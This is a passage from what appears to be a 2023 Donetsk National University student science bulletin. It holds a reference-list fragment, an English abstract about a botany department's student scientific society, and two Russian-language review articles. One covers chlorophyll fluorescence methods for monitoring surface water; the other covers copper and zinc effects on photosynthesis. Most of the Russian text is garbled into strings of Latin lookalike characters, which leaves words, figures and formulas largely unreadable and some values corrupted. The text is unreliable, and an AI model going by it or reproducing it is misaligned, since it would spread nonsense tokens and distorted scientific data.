JouerkoM HaroHansHOM yHuBepeutere / A. M. Cadonos, A. 3. T'myxos, C. A. Tlpuxoasko, O. A. I'puabko
// TIpoGaeMbl M TEPCHEKTUBBI PAa3BUTHS COBPEMEHHOH JaHqapTHONW apxuTeKTypsl. — Cumdeponons:
«M3natensctBO Tunorpadus «Apuan», 2017. — C. 73-75.

21. Topeuxuit O.C., Ctomsposa T.II. K 115-neturo Beigaromerocs 6uosnora ®énopa JIseoBnua lllenoTseBa
(1906-2000) // Ucropuko-ouonornueckue ucciemnoBanus. — 2021, — T. 13, Ne 4. — C. 169-183. DOI:
10.24412/2076-8176-2021-4-169-183.

22. Kucenesa [1.B. [IpuHIIUIBI CO3IaHAS IKAJT aHATOMO-MOP(OIOTHIECKOH MIIACTUIHOCTH (PUTONHINKATOPOB
TeXHOTeHHOTO perrnoHa // Jlonenkue ureHus 2016. O0pazoBanre, HayKa U BRI30BBI COBpeMeHHOCTH : MaTep. |
MesxnayHap. Hay4H. kKoHG. — Jonenk: OOV, 2016. — C. 117-119.

23. Aspanmosa T.B. Dkomorndeckue pazpadotku B JloHOacce: OHOIHOTpagUUSCKUl YIET U MOMYIIIPH3AIAsI
Hay4YHBIX HCCIIeIOBaHUH // BnbnmoTekn n 3KOJIOrMYecKoe MPOCBEUICHHE: TeOpHs M HpakTHKa. — MockBa:
I'TIHTB Poccun, 2022. — C. 11-15. https://doi.org/10.33186/978-5-85638-255-5-2022-11-15

THE EXPERIENCE OF ORGANIZING THE STUDENT SCIENTIFIC SOCIETY OF THE
DEPARTMENT OF BOTANICS AND ECOLOGY TO DONNU

Annotation. The article proposes for consideration some aspects of the actual activities of students of the
Department of Botany and Ecology in the field of organization and self-organization of scientific work in the
course of graduation and master's theses. In general, scientific work is organized within the framework of the
existing program of research tasks formulated in state projects and topics of implementation at the Department
of Botany and Ecology of the Donetsk National University.

Keywords: phytoindication, Donetsk, environmental monitoring, educational program.

Abusnaina M.V.

Scientific adviser: Safonov A.l. Ph.D., Head of the Department of Botany and Ecology
Donetsk National University

E-mail: kf.botan@donnu.ru

14



Bectauk CHO JIOHHY. Bpimn. 15. Tom 1: EcrectBennbie Hayku. — 2023.

YK 577.0

INPUMEHEHHUE METOJA PETUCTPALIMU UHAY KLU
®JIYOPECHEHIIM ITPU OLNEHKE COCTOSAHUSA NTIOBEPXHOCTHBIX BO/I

Anuxuna E.A.
Hayunwuii pyxosooumens: ygpuuxui C.B., cmapuiuii npenooasamens
oy BIIO «/IOHHY»

Aunnomayus: B nanHol paboTe paccMaTpUBAIOTCS PE3yIbTaThl IPUMEHEHHs (PIyOPHUMETPHUUECKOTO METOJa IPU
OlleHKEe COCTOSIHMS (OTOTPOHBIX oOpraHu3MoB. [loka3aH oONBIT BBIBICHHS YYacTKOB 3arpsi3HEHUS
MIOBEPXHOCTHBIX HPUPOJHBIX BOJ HA OCHOBAHWH MapaMeTpoB (IyOPECUEHLUH MPUPOTHOTO (HUTOIUIAHKTOHA.
PaccMoTpeHsI pe3ysbTaThl NCCIIE0BAaHUH 110 BO3ACHCTBHUIO TSDKENIBIX METAJUIOB Ha MPUPOIHBII (DUTOIIIAHKTOH
U BO3MOXXHOCTH BBISIBIICHUS HMHAMKAaTOPHBIX MapaMeTpoB (IIYOPECIEHIMH, OTPaXKaloUIMX TOKCHYECKOe
JefcTBUE U3YdaeMBbIX 3arpsa3HUTEINEH.

Kniouegvie cnosa: GnotecTupoBanne, OMOMOHUTOPHUHT, (IyopuMeTpHs, PUTOIUIAHKTOH.

Beenenne. B cBs3u ¢ yBenMueHHEM B BOJOEMax COJEPKaHMsI BEILIECTB, BXOASIIUX B
COCTaB INPOMBIIUIEHHBIX U OBITOBBIX OTXOAOB, TOKCHYHOCTh KOTOPBIX ISl OOJBIIMHCTBA
BOJIHBIX OPIaHU3MOB IPOSIBIIIETCS yKE B MAJIBIX KOHLIEHTPALUAX, BOSHUKAET HEO0X0IUMOCTh
B DJKCIIpECC-aHAIM3€ €€ KauyecTBa. B KadecTBe TakoOro aHajlu3a MOXKET CIIY)KUTh
OUOTECTUPOBAHHUE.

buorecTupoBaHue aaeT BO3MOXHOCTb OIPENEIATh CTENEHb OOIIeH TOKCHUYHOCTU
00bEKTa HCCIENOBaHMN, OJHAKO, MPEAOCTaBIseT Majlo HH(pOpMALMU O MPUPOJE
sarpsizautens [1, 2]. Tlpu ucnonp30BaHMM OMOMHAMKAIMH U OMOTECTHPOBAHHUS C IICIIBIO
BBISIBJIEHUS] 3arps3HEHUIl HEOO0XOIMMO TNPUMEHATh METOJbl, IO3BOJISAIOIINE IOJIyYaTh
00J1b111011 HAOOP MapaMeTpPOB, OTPAKAIOLIUX COCTOSIHUE TecT-opranu3Ma. K Takum mMeronam
MOKHO OTHECTH MeTOJl (IIyOpUMETpUH, KOTOPHI MpeaocTaBiseT OOJbIIOE YHCIO
OMopU3NIECKUX MapaMeTpoB, OTpakarolInX (GyHKIMOHATBHOE COCTOSTHUE
doTtocunTeTHyeckoro ammapara [3-5)]. JlaHHbIH MeTon Hanbolee YacTO MPUMEHSETCS HPH
OLICHKE COCTOSIHMSI TIOBEPXHOCTHBIX MPHUPOJHBIX C HCIOJIb30BAaHHUEM B KauyecTBE
OMOMHIMKATOpa KIETOK (uToruiaHkToHa [5—8], a Takke mpu OILEHKE 3arps3HCHUs! MOYB H
BO3/lyXa B YCIOBHSIX TOPOJCKON cpelapl Ha TpUMepe JApeBecHbIX pacTenuit [9].
@OyopecleHTHBIH METO/ OLIEHKH KOHIEHTpalUu XJIopo(puiia U, COOTBETCTBEHHO, OOUIIHS
BOJOPOCJEH Hallesl HIMPOKOE MPUMEHEHUE B SKOJIOTUU U THAPOOHOIOTHH, KaK Ipu padoTe ¢
MHTaKTHBIMH BOJIOPOCIISIMHU, TaK M C IKCTPArUPOBaHHBIMU U3 HUX PaCTBOPAaMHU IIUTMEHTOB [ 1].

Lenbto paboThl ABIAJIOCH HU3YYEHHE MCTOYHHKOB JIUTEPATyphl, MOCBSILEHHBIX
BO3MOKHOCTSIM TPHUMEHEHHUs] METOJIOB perucTpanuu (GIyopecueHIMH XJIOpopuiuia Hpu
OLIEHKE COCTOSIHUS MTOBEPXHOCTHBIX PUPOJIHBIX BOI.

OcHoBHast 4YacTb. Jlns ObICTpOH JMArHOCTHUKU (DUTOIUIAHKTOHA B TPHPOJIHBIX
YCIIOBUSIX Pa3BUBAIOTCS COBPEMEHHBIE METO/IbI PETUCTPALINU (PIIyOpECIeHIIMH XJIopoduiLia,
MO3BOJIAIOIINE TOJy4aTh HH(POPMALUIO O KOJWYECTBE U AaKTHUBHOCTH (OTOTPO(HBIX
OpPraHM3MOB, a TaKXe II0 XapaKTEePUCTUKAM COCTOSIHHUSI (OTOCHHTETHYECKOTO ammapara
OLIEHUBATh (PU3MOJIOTUYECKOE COCTOSIHUA KIIETOK U CY/IUTh O Ka4eCTBE BOAHOMN CpPEJIbI.

QdnyopeclieHIIMIO  XJIOpohuisia HU3MEPAIOT NpU TMOMOIIU CIEKTPOPIyOPUMETPOB,
INPUHLIMII  U3MEPEHMs] KOTOpPBIX OCHOBAaH Ha OMHCCHOHHOM  CHEKTPOCKONIMU U
¢bnyopumerpos [3].

B pab6ote I'ypunoit A.B. [8] Obl1 mpoBeAeH OMBIT MO ONpPENCNECHHIO COCTOSHUS
MMOBEPXHOCTHBIX MPUPOJHBIX BOJA BOJ0EMOB ropoja JloHenka MeTojoM OHOTECTUPOBAHUS C
npuMeHeHneM  QuiyopuMeTpuud. B 3KCHepuMeHTe  HCIONB30BAIM  MPEABAPUTEIHHO
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npoUIbTpOBaHHBIE MPOOLI BOJIbI, B3ATHIE M3 OJWHHAALATA MOHUTOPUHTOBBIX TOYEK H
HaxXOJMIIYIOCSs B CTaJAUM OSKCIIOHEHIMAJIBHOIO pOCTa KYJIbTYPY MHUKPOBOJIOPOCIEH
Chlorella sorokiniana. [lyis uccrneayeMpiX KyabTyp Ompeaessida Kod(GQUIMEeHT mpupocTa
YHUCICHHOCTH KIETOK W cojepxanue xiopoduimia. KonueHTpammio QoTOnmUrMeHTa
OIICHUBAJIU C TIOMOIILI0 UMITYJIBCHOTO (hiryopumMeTpa Phyto — PAM. OcTpyro u XpOHHYECKYIO
TOKCHYHOCTh TPOOBI yCTAaHABIMBAIM B XOA€ OHMOTeCTa B 3aBUCHMOCTH OT BPEMEHHU
MPOSIBJICHUST TOKCHUYecKoro dddekra: 24 4 u 96 4. 1o pesynpbrataM OHOTECTHPOBAHUS ISt
npod BOJABI M3 BCEX OJMHHAINATH HCCIEAYEMBIX MOHHMTOPHUHIOBBIX TOYEK OCTPOTO
TOKCHYECKOTO0 JieiicTBUS Ha KynbTypy kietok Chlorella sorokiniana ue nadnronanocs. ITocie
96 uyacoB OHKCMO3UIUU OBLUIO BBISIBICHO XPOHUYECKOE TOKCHYECKOE JeicTBHE IS
MOHMTOPHHIOBBIX TOYEK BoJoXxpaHwiuuia /lonenkoe mope, 03. Kupma u npuroka npyzaa
AJIeKCEeBCKOTO M Haimuuue OOJIBLIOro KoJIMYecTBa OMOreHHbIX BemiecTB B Il ropoackom
npyae u np. Ilecuanslif, a Takke 0 3HAUMMOM YPOBHE 3arpsi3HEHHS B MOHUTOPUHIOBBIX
toukax Il npyn, Bogoxpanunuiie JoHeIKoe Mope U MPUTOKa Mpyaa AJIEKCEeBCKOTO.

B pabore Anuesoit M.IO. [10] npoBogunoce 6uorectupoBanue mopsi Kacnuii npu
MOMOIIM JIFOMUHUCLEHTHBIX METOAOB. B KauecTBe TecT-00BbeKTa OBUT B3ST MOPCKOM
(UTOTUTAaHKTOH, KOTOPBIN NOABEpraiu AecTBUIO cojel Tsokenbix MeTaiuioB (NiClz u CdCl2
B koHuentpauuu 103 M). Tlocne TemHOBOH amanTaumu o0pasloB B TedeHue 20 MUH
CTallMOHApHBI  ypOBEHb HHIYKIMOHHOM KpUBOM 3aMeyieHHON  (iyopecueHuu,
obpabotannbix pactBopoM NiCl, moBbsicuiics B 6 pa3, a MakcuMasibHoe 3HaueHue Ha 50% 1o
CpaBHEHHIO C KOHTpoJieM. MHIyKIIMOHHBIE KPUBBIE MOCIECBEUEHHUSI 00pabOTaHHBIX HOHAMH
Cd?* 06pa31oB UMeTN MaKCHMAIbHOE 3HaUeHHE B 4 — 5 pa3 BBIIIE, a CTAIMOHAPHBINA YPOBEHb
BbIIIIE KOHTPOJIS B 2 — 3 pasa.

Ilo pe3ynbraraM NMpPOBENEHHOIO OIBITA MOXHO CKa3aTh, YTO U3MEHEHHE I1apaMETPOB
(byopecueHIIMN MUKPOBOJOPOCIEH IpU IEHCTBUU COJIEH TSAXKENbIX METANIOB OOBSCHSIIOTCS
MX TOKCHYECKUM JeHCTBUEM Ha TIepBUYHbIE TIpoLiecchl GoTocuuTesa. JeitcTBus monos Ni%*
IPUBOJIAT K HEOOpaTUMBIM HM3MEHEHHSIM CTPYKTYpbl MeMOpaH XJIOpPOIUIACTOB H
nHaxtuBupytot OC I1, monsr Cd?" paspymaror X10podHIT MUTMEHT GEIKOBEI KOMILIEKC 1
nonasisitot padory OC I1.

B pabore Kympuu O.H. [11] Obul mnpoBeleH ONBIT MO OLEHKE COCTOSHUS
(GUTONNIAHKTOHA TNPUPOAHBIX BOJHBIX OOBEKTOB MeTojoM (uyopumerpuun. s
UCCIICIOBAaHMs HCIIONB30BaIM  J1TabopaTopHylo KyabTypy Mukposogopocieir Chlorella
vulgaris 1 mpoObI IPUPOAHOTO (GUTOIUIAHKTOHA, OTOOPAaHHBIE B BOJJOEMAX, PACIIONOKEHHBIX
B LlenTpansHoM mapke KyiabTypsl U oTAbixa uMeHu A.C. [llepbakoBa. B kauecTBe ncrounnka
MeJIU UCToJib30BaM pacTBop cyibdara Mmenu (CuSOs) B koHuenTparuu 0, lmr/in. M3mepenus
(byopecueHIIMM KOHTPOJIBHBIX U OMBITHBIX MPOO MPOU3BOANUINCH HETIOCPEACTBEHHO MOCIE
nobasnenust menu yepes 5, 10, 15 u 30 munyT. Ilo mosy4eHHBIM JaHHBIM, MOXHO CJIEIaTh
BBIBOJI O TOM, YTO IOCJI€ 100aBJIeHUsI B BOJHYIO CPEAy MOHOB MEIU, NMPOU3OIUIO PE3KOoe
Bo3pactanue (QuyopecueHnun kietok KyabTypbl Chlorella  vulgaris. Heratusnoe
BO3JICHCTBUE HA KJIETKH MUKPOBOJOPOCIIECH HAOIIOIATIOCHh Y)KE Yepe3 5 MUHYT BO3CHCTBUS.
30 — MUHYTHasi HKCIIO3UIMS B MPUCYTCTBUU 3arpsi3HUTENS MpUBENa K CHUKCHHIO YHCIa
PEaKIMOHHBIX LIEHTPOB, a Takke OOLIero KOJWYEeCTBa aKTUBHBIX AJIEKTPOHHBIX
MePEHOCUUKOB 3JeKTpoH-TpancnopTHOU 1ern OC |l. Knetku npupoaHoro guroriaHkToHa
Oosiee YCTOMUYMBBI K BO3ICHCTBHIO MEIM B CpaBHEHMHU C KieTkamu KynbTypbl Chlorella
vulgaris. DTa ycTOWYMBOCTD MOXKET OOBSCHATHCS HAIMYHEM HU3KHUX  (DOHOBBIX
KOHIIEHTpAallUii MEAW B BOJIHOU CpeIe.

B pa6ote Cnecapenko I'.0. [12], Obu1 ipoBeAieH ONBIT ¢ TpuMeHeHneM Metoga MK —
ciektpooToMeTpuu U (GIYyOPHUMETPUYECKOTO METOJAa JJs TMPOBEACHUS MOHUTOPHHIA
BOJHBIX 00BEKTOB Ha Hanmmuue HedrenpoaykToB (r. Kopsikma). [TpoOsr oTOupanucek Ha p.
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Beruerna B cemu toukax. Mccinegyemyro mpoOy HepeHecid B JAEIUTENbHYIO BOPOHKY M
nobaBnmsiin K HeW rekcaH. llocie cmech SKCTparupoBaid M HM3MEPSUIA  MAacCOBYIO
KOHIIEHTpaLuo HepTenpoaykToB. OZHOBPEMEHHO (PUKCHPOBAIM MPOIYCKaHHUE PacTBOpA.
ITonyuyennsie pe3ynbrarsl cpaBHWIMA ¢ HopMamu [1/IK 111 CTOYHBIX M MUTHEBBIX BOJ, 4 TAKIKE
U1 phIOOXO3SMCTBEHHBIX TeppUTOpUiA. [10 momydYeHHBIM JaHHBIM MOXHO CAEIaTh BBIBOL,
YTO KOHIEHTpanus HehTenpoayKToB B 0OTOOpHBIX pobax He npesbimaet [1IK, oqnako, ecth
HEKOTOpbIEe 3HaYECHHUS, MOAXOIAIINE K €€ IPaHHLIE.

B pabote Ky3nenosoit A.B. [13], Obla mpoBeieHa OIleHKa COCTOSIHUS (PUTOTUTAHKTOHA
p. Pnenr ¢ momompio ¢uyopumerpuueckoro wmerona. OIEHKa COCTOSHHS PEYHOTO
(GUTOIUIAHKTOHA OCYILIECTBISUIACh IO JIBYM HapameTrpam (iayopecreHuun Xjaopoduia:

o Fv o o
nepeMeHHo# (piryopecieHInu =+ CBA3AHHOI C ¢ dexTuBHOCTHIO (hoTOCHHTE3a U (HOHOBOM

bayopecuennuu F, cBs3anHON ¢ 00mmeM (GUTOILUIAHKTOHA.

B ocennee Bpems rosa Hu3Kkas 3 pekTHBHOCTH (OTOCHHTE3A PEUHOTO (PUTOIUIAHKTOHA
3aperHCTPUPOBaHAa B  OT/ACIBHBIX MOHHUTOPHMHIOBBIX TOYKAaX, pPACHOJIOXKEHHBIX B
IIPOMBIIIJIEHHONW 30HEe TI. Brnanumupa (cM. puc. la). B paiioHe cOpoca CTOYHBIX BOJ

Fv
HaOromaeTcss maneHue o J0 0,1, 4TO CBUAETENLCTBYET O INIYOOKUX HapyLICHUSIX

(GyHKIMOHUPOBaHUS (POTOCHHTETHYECKOTO amiapara peuHoro (GUTOIUIAHKTOHA, BEI3BAHHBIX
TOKCUYHOCTBIO BOJHOM CPEJIbI.
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Pucynok 1 — U3smenenue napamerpoB iyopeclieHInu XJaopodpuiia GUTOIIaHKTOHA
10 Te4YeHuto p. Prienb: a — B okTs16pe 2007 1.; 6 — B anpeste 2008 r. (cormacuo [13])

B BecenHee BpeMsi Troja 3aperuCTpUPOBAHO MOBBILIEHHE 3((HEKTUBHOCTH
(doTocuHTE3a M 00N PEYHOTO (PUTOIIIAHKTOHA BO BCEX UCCIIEIyEMbIX ITYHKTaX (CM. pHC.
10) mo cpaBHEHMIO C OCEHHMMHM JaHHBIMH. B paiioHe cOpoca ctouHbix Boj (m. Ne 3)

Fv w
BCJINYNHA a COCTAaBJIAACT 0,3, CJIEAOBATCIIbHO, TOKCUYHOCTh BOAHOU CpPEJbl HA JaHHOM

YYaCTKE PEKH COXPaHSIETCS.

ABTOpa HCCIEOBAaHUS TMOJAYEPKUBAIOT, YTO HA OCHOBAaHUU (IyOPUMETPHUECKUX
IIOKa3aTeJe! y1aaoch BBIIBUTh OTHOCUTENIBHO YUCTBIE U TOKCUUHBIE YYAaCTKH HCCIEAYEMOTO
BoAHOro oObekTa. Ilpu 3TOM y4yacTKu 3arps3HEHHs] COOTBETCTBOBAIM MECTaM IONAJaHUS
CTOYHBIX MPOMBIIUIEHHBIX 0OBEKTOB, PACHOJI0KEHHBIX OKOJIO pyciia peku. Takxke 0TMEUEHO,
YTO CHUXKEeHHE IPPEeKTUBHOCTH (OTOCHMHTE3a W KOHLEHTPALUH MHUKPOBOAOPOCIEH — 3TO
OTBETHAsl peaKLUsl peYHOro (PUTOIIIAHKTOHHOTO COOOIECTBA HA TOKCUYHOE JACHCTBUE CPEIbI.

BeiBoabl. AHANM3HUPYS pe3yabTaThl IPOBENCHHBIX UCCIEA0BAaHUM, MOXKHO CKA3aTh, UTO
pa3BuTHE (IYOPECHEHTHBIX METOZO0B OHMOTECTUPOBAHMS SIBJSETCS MEPCIEKTUBHBIM IS
OIpeJIeJIEHUs] TOKCUYHOCTH MOBEPXHOCTHBIX BOJ, U SIBJIETCSI MHPOPMATUBHBIM JKCIIpECC-
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METO/IOM, TTOJIE3HBIM IPHU MPOBEACHUHU AKOJIOTHYECKOTO OMOMOHHMTOPUHTA TTOBEPXHOCTHBIX
MPUPOIHBIX BOJI.
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VIIK 577.0

BO3JEAICTBUE HOHOB ME/IU (Cu?*) M LIMHKA (Zn®*) HA
®JIYOPECHEHIMIO KJIETOK BBICIIAX PACTEHHI1 U ®UTOIJIAHKTOHA

Aumponosa JI.11.
Hayunwuii pyxkosooumens: 4yguuyxui C.B., cmapwuit npenooasames
oy BIIO «/[OHHY»

Aunomayus. B pabote mpeactaBieH 0030p MCTOYHUKOB HH(OpPMALNH, MOCBSIICHHBIX M3YYEHHIO BIMSHUSI
pa3nnuHbIX KoHUeHTpaui noHoB Meau (II) u nonos nunka (II) Ha cocrosiHue QoTocnHTETHYECKOTO anmapaTa
BBICIINX PacTeHUi 1 puTorIankToHa. [IprBeieHbI IPUMEPHI BIUSHUS Pa3IMYHBIX KOHIIEHTPALMH [IMHKA 1 MEIH
Ha JIpEeBECHBIC U TPABSIHUCTBIC PACTECHUsI, BOJOPOCIH U (PUTOINIAHKTOH, PACCMOTPEHBI OCHOBHBIE OCOOEHHOCTH
BO3/eiicTBUsL Ha (DOTOCHUHTETHYECKHH ammapar. [loka3aHo, YTO MeTaIbl OKa3bIBAIOT BO3JCHCTBHE Ha
KBaHTOBBII BBIXOJI, PYHKIIHOHAILHOE COCTOsIHUE (poTocHcTeMbl 11 u mapaMeTps! diyopecueHIuu Xaopoduia.
Krouesvie crnosa: ¢nyopecyenyus, gomocunmes, mascénvie memannvt, pomocucmema ll.

BBenenune. Tsoxenbie METaUIbI SBJISIOTCS OHUMHU M3 HauOOJIee CTOMKHUX 3arpsi3HUTEIICH
OKpY)KaroIllel cpelibl, OKa3bIBAIOIIMX BPEAHOE BO3/eicTBHE Ha MeTaloiau3M U (POTOCHMHTE3
BBICIIIMX PAaCTEHUH U (PUTOIUIAHKTOHA. PacTeHus mo-pasHOMY pearrpyroT Ha TSDKEIbIE METaJUTbI
B 3aBUCHMOCTH OT OCOOCHHOCTEH (hYHKIIMOHUPOBAHMSA UX (POTOCHMHTETHMYECKOrO ammapara, a
TaKOKe TPUPOJBl W KOHIEHTPAIMH TSDKENBIX MeTAuIoB. VIOHBI METaulOB BIMSIOT Ha
(oTonUrMeHThl ¥ (POTOCUHTETUYECKYIO L€ IEPEHOCA AIEKTPOHOB, YTO MPUBOIUT K CHIKCHUIO
addexruBHOCTH (hoTocuHTe3a. [ToMUMO 3TOTO, TSHKENBIE METAIUTBI YTHETAIOT META00IMIECKUE
IPOLIECCHI, MPOLIECCHl POCTA, Pa3BUTHUSA M pa3MHOXeHHs pacteHuil [1]. B nHacrosmee Bpems
TaHHasl TIpo0OJIeMa MPUBJIEKAeT BHUMAHUE YUEHBIX, OCOOCHHO B MCCIIEIOBAHUSX, CBI3aHHBIX C
MPOMBIIIJIEHHBIM U QHTPOIIOTE€HHBIM 3arpsI3HEHUEM, YTO HAIIUIO OTPa’KEHHUE B MHOTOUMCIIEHHBIX
WCCIIEIOBAHUSIX BO3/ICHCTBHS TSDKEBIX METAUIOB Ha BBICIINE DPACTEHHMS, MPECHOBOJIHBIE U
MOpCKHUe Bogopociu [2,3].

Anamm3 (QyopeceHIMN BBICIINX PAaCTeHUH W BOJOPOCIIEH MCIONB3YeTCs B IETIOM psifie
OnoI0rnueckrx TecT-cucreM. PIyopecleHTHbIE METO bl IPUMEHSOTCS B SKO(U3HOIOTMIECKIX
Y TOKCHKOJIOTHYECKUX UCCIICAOBAHUSX TSl I3YYEHHUs BIMSHHS N3MEHEHUH OKPYKAIOIICH CpeIbl
U 3arpsi3HAIOIIMX BEIIECTB HAa PacTeHUs M BOJOPOCIH. 3arpsi3HUTENN BBI3BIBAIOT M3MEHEHHE
(OTOCHHTETHYECKOH CIOCOOHOCTH, KOTOPYIO MOYKHO OLIEHUTH 110 KHHETUKE (DITyOpECLIEHIINN.

bonbmiasgs yacte duryopecueHIMM, KOTopas HaOmoJaeTcs Ipu H3YyYeHUM JIHMCThEB
pactenwii, oopasyercs B porocucreme Il (PC I). Haubosee nrdopMaTiBHBIM METOIOM OIIEHKH
spdextrBHOCTH poTocuHTeTHUEcKHX TporieccoB DC |l sBrsercss MeToA perucTpanuy KpUBbIX
UHIYKIH (ryopectieHnmu xyopodmuia. [Ipun aHamm3e MomydeHHBIX KPUBBIX, HAa3bIBA€MbIX
taxoke OJIP-KpHBBIMH, TIOTY4atOT LB P (ITyOpUMETPUUECKUX TIOKa3aTeNel, OTpaKaroIuX
¢yukuuonuposanue OC |l u ee oTENBHBIX KOMIIOHEHTOB [4].

JlaHHBIA METO SBJSIETCS HEMHBA3UBHBIM U BBHICOKOUYBCTBUTEIIBHBIM, OBICTPBIM U JIETKO
M3MepsieMbIM, TPEeOyeT OTHOCHUTEIHFHO HEIOpOroro OOOpPYIOBaHUS W CONCPIKUT BAKHYIO
uHpopmaruo o poTocuHTETHYECKOM armnapare. OcoGeHHOCTH nepexo1oB Mexay (azamu OJIP
KPHUBOW TIOTEHIIMAIILHO MOTYT OBITH WCITOJB30BAHBI ISl XapaKTEPHCTHKUA (POTOXUMHIECKOTO
kBaHTOBOro Bbixoza (oroxumuu PC Il u akTHBHOCTH mepeHoca 3eKTpoHOB. Kpome Toro,
nepexonsl Mexxay OJIP dazamu mH(pOpMATHBHO OTpaxkaroT crenududeckoe BO3JICHCTBHE
Pa3IMYHBIX HMHIUOWTOPOB, CTPECCOPOB M MyTalMi Ha (OTOCHHTETHYECKHH ammapar u
(GyHKIMOHAIBHOE COCTOSHUE [5].

OmHMMH M3 OCHOBHBIX TOKCHYHBIX 3arps3HHUTENCH SBIAIOTCS TaKHEe XHMHYECKHE
JNIEMEHThl Kak MeIb W UMUHK. [Ipu BBICOKMX KOHIEHTpaLUsX Melb HapyllaeT MHOTHE

19



Bectauk CHO JIOHHY. Bpimn. 15. Tom 1: EcrectBennsie Hayku. — 2023.

METaboNIMYecKue IyTH PAcTeHU W BOJOpOCIHell, Takue Kak (DOTOCUHTE3, JbIXaHUE,
npon3BoAcTBO AT® (aneHozuHTpUOChaTa) U CHHTE3 MMTMEHTA, a TAK)KE MHTUOUPYET JAeIeHHe
KJIeTOK. TOKCHYHOCTh LIMHKA Ul PAaCTeHHM BechbMa pa3iuyHa. DTH pa3iuuusi 0OYCIIOBJICHBI
CIIOCOOHOCTHKO MHOTHX PAaCTEHUH aJallTUPOBATHCS K BBICOKMM COAEPIKaHUAM LIMHKA [6].

Takum 06pa3oM, 1eNb JaHHOM pabOThHI 3aKIF0YaeTCs B MPOBEIECHUH 0030pa UCTOUHUKOB
UHPOPMAIH O BO3MOXHOCTH MPUMEHEHHST MeTo/Ia (PIIyOPUMETPHUU JIJIsl OIICHKHA HETaTUBHOTO
BosfeiicTBus moHoB Cu?* u Zn** Ha (OTOCHHTETHUECKMii ammapaT BBICIIMX pAcTEHH M
(HUTOIUIAaHKTOHA.

Biusinne wuonos meau (Cu’’) m nmaka (Zn?*) Ha MerafoaMuyecKHe M
(dorocuHTEeTHYECKHE POLIECCHI PACTEHUI

Menp SBASETCS BaXKHBIM MHUKPO3JIEMEHTOM JUIS BBICHIMX PACTEHUA W BOAOPOCIEN U
OKa3bIBa€T HEMOCPEACTBEHHOE BiMsHUE Ha (orocuHTe3. OHA SBISETCS COCTaBHOW YaCThIO
MIEPBUYHOTO JIOHOPA AJIEKTPOHOB B (hoTocucteMe | — ruractounannaa. Muorue aBtopsl [7,8,9]
Takske omuchiBamy Cu?* kak cocTaBHyI0 uacTh otocrcTeMsl 1. OHAKO BEICOKHE KOHIIEHTPAIUH
Cu?* UHrHOHPYIOT (POTOCHHTETHYECKHI TPAHCIIOPT IEKTPOHOB, 0COOCHHO B (hoTocucTeme 11

B pab6ore [10], npoenéunoii Jlu Cy Yen u np., B Teuenue 18 Hemenp uccienoBaiu
npopoctku Citrus sinensis u Citrus grandis, koropsie o6padotamu 0,03 mr/in Cu?* (KOHTpOIb) 1
19 mMr/n Cu?* (neiicTByromas KoHIEHTpanys). THrHOMpoBaHne CKOPOCTH (hOTOCHHTE3A THCTHEB
C. sinensis Menpi0 B OCHOBHOM OOBSICHSJIOCH M3MEHEHHEM PabOThl YCTHUYHOIO armapara. B
pe3ynbTare OmbITa TOKCHYECKOE JICHCTBME MENW BBI3BIBAJIO CHIDKEHHE (DYHKIIMOHAIHLHOTO
cocrosiaus u mopexenue crpykrypsl @C Il muctoe y C. sinensis. B to Bpems kak y C. grandis
OOHapy>KeHBbI MOJIepP’KaHue CTAOMIBLHON CTPYKTYphl (DOTOCHHTETHUYECKOro ammapaTta u 0ojee
BBICOKasi CKOPOCTh MepeHoca 3eKTpoHOB oT (otocuctemsl I k poTocucreme 1, uro roopur o
TOM, 4TO JIAHHBIi BHJI IMEET OTHOCHTENBHO O0Jlee BEICOKYIO ycToiunBocTh K Cu?”,

VYuénsle u3 ynusepcurera [laitame Hyp (Mpan) [11] nzyuanu Bo3nelcTBrE HECKOJIBKUX
koHueHtpauuit meau (0, 0,05, 0,15, 0,3 u 0,4 Mr/n1) Ha pa3nUYHbIC BEreTaTUBHBIE MTPU3HAKU U
doTtocunTeTrueckue murMenTsl FumMaria parviflora Lam. B noseBsix ycimoBusix. B pesysbrare
YICCTIEIOBAHMS HAOMIOIANOCh, UTO Y pacTeHuii pu kornenTpanys 0,05 mr/m Cu?* 6110 BEICOKOE
cojiepkanue xJopousuia u KapoTHHOUI0B. OTHAKO, TIPU MTOBBIIICHUN KOHIICHTPAIUK MEIU 10
0,3 u 0,4 Mr/1 5T MTapaMeTPhI PE3KO CHIKAIUCH.

WHrubupyrommme Bo3IeHCTBHE BRICOKMX KOHIIEHTPAIIM HOHOB MEIN paccMarpuBaiy [12]
Ha BoxHOe pacrenue Eichhornia crassipes. B xoje skcreprMeHTa pacTeHHe HECKOJBbKO pa3
MIPOMBIBATIM BOJIOM, YTOOBI YIAIUTh 3arps3HEHUS, a 3aTeM TMOMEIIAT B €MKOCTh C BOJOW Ha
HENIeNI0 B KadecTBe MpeABapuUTeNbHON 00paboTku. B Hauane skcmepumenta CuSOs TOYHO
B3BENIMBAIN H 0OABIISUTH B KyJIbTYPaIbHYIO CPE/Ty s IPUTOTOBIIEHHS TpyI 06padotku Cu?":
0 (xouTponb) 1, 3, 5, 7 u 9 mr/n. @OTOCHHTETUYECKYIO CTTIOCOOHOCTh OLIEHUBAIM Ha 7 U 14-¢
cyTkn mocne BozzericTus Cu?t. diyopecneHImo X1opoduia ¢ W KHHETHKY HPOIECCOB
nepexooB Mexay mukamu OJIP onenmBamm Ha 14-if nemp mocme Bosueiictsus Cu?”.
[Ipoucxomauno cHmkeHue koddduimenta sHepreTHueckod 3¢dexTuBHOCTH (OTOCHHTESA,
kBanToBoro Beixofa (Fv/Fm) m BepostHocTn mnepenmaum osnextpona B uenun ®C I (g ).
[Tornomenne KBaHTOB (UTYOPECIICHITUH, TIEPEHOC AJIEKTPOHOB B MOMEHT BpeMeHH () — Bce 3TO
MMENI0 TEHJCHIIMIO CHayaja yBEIMYHMBATHCS, a 3aTéM YMEHBIIAThCI C YBEIMYCHUEM
xoHnenTpamin Cu®’. Tlepexomuslii mepron (IyopeciieHIMH XIopodmima & BceX TIPyI
o6paborkn Cu?* Haxoauics B Mpenenax HOPMbI, M KpHBas HAauMHAIach mpu Fo m mocTurama
Makcumyma ipu P v Fm. Mexny O u P nosBuinch 1Be mpoMexxXyTouHble cTaauu, J (okoso 2
mc) 1 1 (okxono 30 mc), koTopsle moaTBepauy, uto Cu?* He OKa3bIBA CYIECTBEHHOTO BIHSHHUS
Ha (QoTocuHTeTHYEeCKHiA anmapar. OIHaKo Mmocie TOCTKeHNs1 Fm Habmonanock 6osee pe3koe
